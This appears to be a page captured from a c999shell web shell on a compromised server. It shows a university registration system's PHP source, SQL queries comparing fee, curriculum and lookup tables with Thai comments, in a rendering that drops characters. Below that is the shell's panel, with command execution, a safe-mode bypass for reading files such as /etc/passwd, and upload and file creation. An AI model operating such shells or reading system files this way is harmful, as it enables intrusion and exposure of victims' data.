.$moDB.".rg_CurriculumFeeTp
                            ON programId = cftCurId 
                            AND admitAcadYear = cftAdY 
                            AND studentYear = cftSyId 
                            AND acadYear = cftAcY 
                            AND semester = cftTmId 
                            AND feeId = cftFeeId 
                        WHERE programId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".ProgramFeeTP
                        LEFT JOIN "
.$moDB.".rg_CurriculumFeeTp
                            ON programId = cftCurId 
                            AND admitAcadYear = cftAdY 
                            AND studentYear = cftSyId 
                            AND acadYear = cftAcY 
                            AND semester = cftTmId 
                            AND feeId = cftFeeId 
                        WHERE cftCurId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_CurriculumFeeTp
                        INNER JOIN "
.$oDB.".ProgramFeeTP
                            ON programId = cftCurId 
                            AND admitAcadYear = cftAdY 
                            AND studentYear = cftSyId 
                            AND acadYear = cftAcY 
                            AND semester = cftTmId 
                            AND feeId = cftFeeId 
                        WHERE amount != cftAmt"
;
                    break;
            }
            break;
        case 
'ProgramStructure' // ProgramStructure vs rg_CurriculumStructure
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".ProgramStructure
                        RIGHT JOIN "
.$moDB.".rg_CurriculumStructure
                            ON programId = csCurId
                            AND conditionId1 = csCdId1
                            AND conditionId2 = csCdId2
                        WHERE programId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".ProgramStructure
                        LEFT JOIN "
.$moDB.".rg_CurriculumStructure
                            ON programId = csCurId
                            AND conditionId1 = csCdId1
                            AND conditionId2 = csCdId2
                        WHERE csCurId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_CurriculumStructure
                        INNER JOIN "
.$oDB.".ProgramStructure
                            ON programId = csCurId
                            AND conditionId1 = csCdId1
                            AND conditionId2 = csCdId2
                        WHERE sequence != csSeq 
                              OR creditTotal != csCreditTotal"
;
                    break;
            }
            break;
        case 
'Province' // Province vs rg_Province
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Province
                        RIGHT JOIN "
.$moDB.".rg_Province
                            ON provinceId = prvId
                        WHERE provinceId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Province
                        LEFT JOIN "
.$moDB.".rg_Province
                            ON provinceId = prvId
                        WHERE prvId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Province
                        INNER JOIN "
.$oDB.".Province
                            ON provinceId = prvId
                        WHERE TRIM(provinceName) NOT LIKE TRIM(prvName)
                            OR TRIM(provinceNameEng) NOT LIKE TRIM(prvNameE)"
;
                    break;
            }
            break;
        case 
'Religion' // Religion vs rg_Religion
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Religion
                        RIGHT JOIN "
.$moDB.".rg_Religion
                            ON religionId = rlgId
                        WHERE religionId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Religion
                        LEFT JOIN "
.$moDB.".rg_Religion
                            ON religionId = rlgId
                        WHERE rlgId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Religion
                        INNER JOIN "
.$oDB.".Religion
                            ON religionId = rlgId
                        WHERE TRIM(religionName) NOT LIKE TRIM(rlgName)
                            OR TRIM(religionNameEng) NOT LIKE TRIM(rlgNameE)"
;
                    break;
            }
            break;
        case 
'Scholar' // Scholar vs rg_ScholarOwner
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".Scholar
                        RIGHT JOIN "
.$moDB.".rg_ScholarOwner
                            ON scholarId = soId
                        WHERE scholarId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".Scholar
                        LEFT JOIN "
.$moDB.".rg_ScholarOwner
                            ON scholarId = soId
                        WHERE soId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_ScholarOwner
                        INNER JOIN "
.$oDB.".Scholar
                            ON scholarId = soId
                        WHERE TRIM(scholarName) NOT LIKE TRIM(`soName`)
                            OR provinceId != soPrvId"
;
                    break;
            }
            break;
        case 
'StudyPlan' // StudyPlan vs rg_StudyPlan
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".StudyPlan
                        RIGHT JOIN "
.$moDB.".rg_StudyPlan
                            ON programId = spCurId 
                            AND studentYear = spSyId  
                            AND semester = spTmId  
                            AND courseId = spCrsId 
                        WHERE programId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".StudyPlan
                        LEFT JOIN "
.$moDB.".rg_StudyPlan
                            ON programId = spCurId 
                            AND studentYear = spSyId  
                            AND semester = spTmId  
                            AND courseId = spCrsId 
                        WHERE spCurId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_StudyPlan
                        INNER JOIN "
.$oDB.".StudyPlan
                            ON programId = spCurId 
                            AND studentYear = spSyId  
                            AND semester = spTmId  
                            AND courseId = spCrsId 
                        WHERE conditionId != spCdId1
                            OR conditionId2 != spCdId2"
;
                    break;
            }
            break;
        case 
'SysFeePayTypeDes' // SysFeePayTypeDes vs rg_PayType
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".SysFeePayTypeDes
                        RIGHT JOIN "
.$moDB.".rg_PayType
                            ON feePayType = pytId 
                        WHERE feePayType IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".SysFeePayTypeDes
                        LEFT JOIN "
.$moDB.".rg_PayType
                            ON feePayType = pytId 
                        WHERE pytId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_PayType
                        INNER JOIN "
.$oDB.".SysFeePayTypeDes
                            ON feePayType = pytId 
                        WHERE TRIM(description) NOT LIKE TRIM(pytName)"
;
                    break;
            }
            break;
        case 
'SysOfficerStatusDes' // SysOfficerStatusDes vs rg_PersonStatus
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".SysOfficerStatusDes
                        RIGHT JOIN "
.$moDB.".rg_PersonStatus
                            ON officerStatus = psId 
                        WHERE officerStatus IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".SysOfficerStatusDes
                        LEFT JOIN "
.$moDB.".rg_PersonStatus
                            ON officerStatus = psId 
                        WHERE psId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_PersonStatus
                        INNER JOIN "
.$oDB.".SysOfficerStatusDes
                            ON officerStatus = psId 
                        WHERE TRIM(officerStatusCode) NOT LIKE TRIM(psCode) 
                            OR TRIM(description) NOT LIKE TRIM(psName) 
                            OR TRIM(officerStatusDefault) NOT LIKE TRIM(psDefault)"
;
                    break;
            }
            break;
        case 
'SysSemesterDes' // SysSemesterDes vs rg_Term
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".SysSemesterDes
                        RIGHT JOIN "
.$moDB.".rg_Term
                            ON semester = tmId 
                        WHERE semester IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".SysSemesterDes
                        LEFT JOIN "
.$moDB.".rg_Term
                            ON semester = tmId
                        WHERE tmId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_Term
                        INNER JOIN "
.$oDB.".SysSemesterDes
                            ON semester = tmId
                        WHERE TRIM(semesterName) NOT LIKE TRIM(tmName) 
                            OR TRIM(semesterNameEng) NOT LIKE TRIM(tmNameE) 
                            OR TRIM(semesterDefault) NOT LIKE TRIM(tmDefault) "
;
                    break;
            }
            break;
        case 
'SysStudentYearDes' // SysStudentYearDes vs rg_StudyYear
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".SysStudentYearDes
                        RIGHT JOIN "
.$moDB.".rg_StudyYear
                            ON studentYear = syId
                        WHERE studentYear IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".SysStudentYearDes
                        LEFT JOIN "
.$moDB.".rg_StudyYear
                            ON studentYear = syId
                        WHERE syId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_StudyYear
                        INNER JOIN "
.$oDB.".SysStudentYearDes
                            ON studentYear = syId
                        WHERE TRIM(studentYearName) NOT LIKE TRIM(syName) 
                            OR TRIM(studentYearNameEng) NOT LIKE TRIM(syNameE) 
                            OR TRIM(studentYearDefault) NOT LIKE TRIM(syDefault) "
;
                    break;
            }
            break;
        case 
'rg_Building' // rg_Building vs spc_Place
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " ";
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query 
                    select spc2.plBuilding, spc.plHwId
                    from "
.$moDB.".`spc_Place`
                    INNER JOIN "
.$oDB.".`rg_Building` 
                        ON bdName LIKE hwName
                    "
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query 
                    select *
                    from "
.$moDB.".`spc_Place`
                    INNER JOIN "
.$oDB.".`rg_Building`  
                        ON bdName LIKE hwName
                    "
;
                    break;
            }
            break;
        case 
'rg_StudyType' // rg_SysStudyType vs rg_StudyType
            
switch($case) {
                case 
1// ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
                    
$query " SELECT *
                        FROM "
.$oDB.".rg_SysStudyType
                        RIGHT JOIN "
.$moDB.".rg_StudyType
                            ON sstId = stId
                        WHERE sstId IS NULL"
;
                    break;
                case 
2//ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
                    
$query " SELECT *
                        FROM "
.$oDB.".rg_SysStudyType
                        LEFT JOIN "
.$moDB.".rg_StudyType
                            ON sstId = stId
                        WHERE stId IS NULL"
;
                    break;
                case 
3//ตรวจสอบ pk เหมือนข้อมูลต่าง
                    
$query " SELECT *
                        FROM "
.$moDB.".rg_StudyType
                        INNER JOIN "
.$oDB.".rg_SysStudyType
                            ON sstId = stId
                        WHERE TRIM(sstName) NOT LIKE TRIM(stName) 
                            OR TRIM(sstNameEng) NOT LIKE TRIM(stNameE) 
                            OR TRIM(sstAbbr) NOT LIKE TRIM(stAbbr)
                            OR TRIM(sstAbbrEng) NOT LIKE TRIM(sstAbbrEng)"
;
                    break;
            }
            break;
        }
    return 
$query;
}


/*
case '' : //  vs 
    switch($case) {
        case 1: // ตรวจสอบแถวข้อมูลที่เพิ่มขึ้น
            $query = " ";
            break;
        case 2: //ตรวจสอบแถวข้อมูลที่ทะเบียนมีมากกว่าข้อมูลพื้นฐาน
            $query = " ";
            break;
        case 3: //ตรวจสอบ pk เหมือนข้อมูลต่าง
            $query = " ";
            break;
    }
    break;


*/

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]--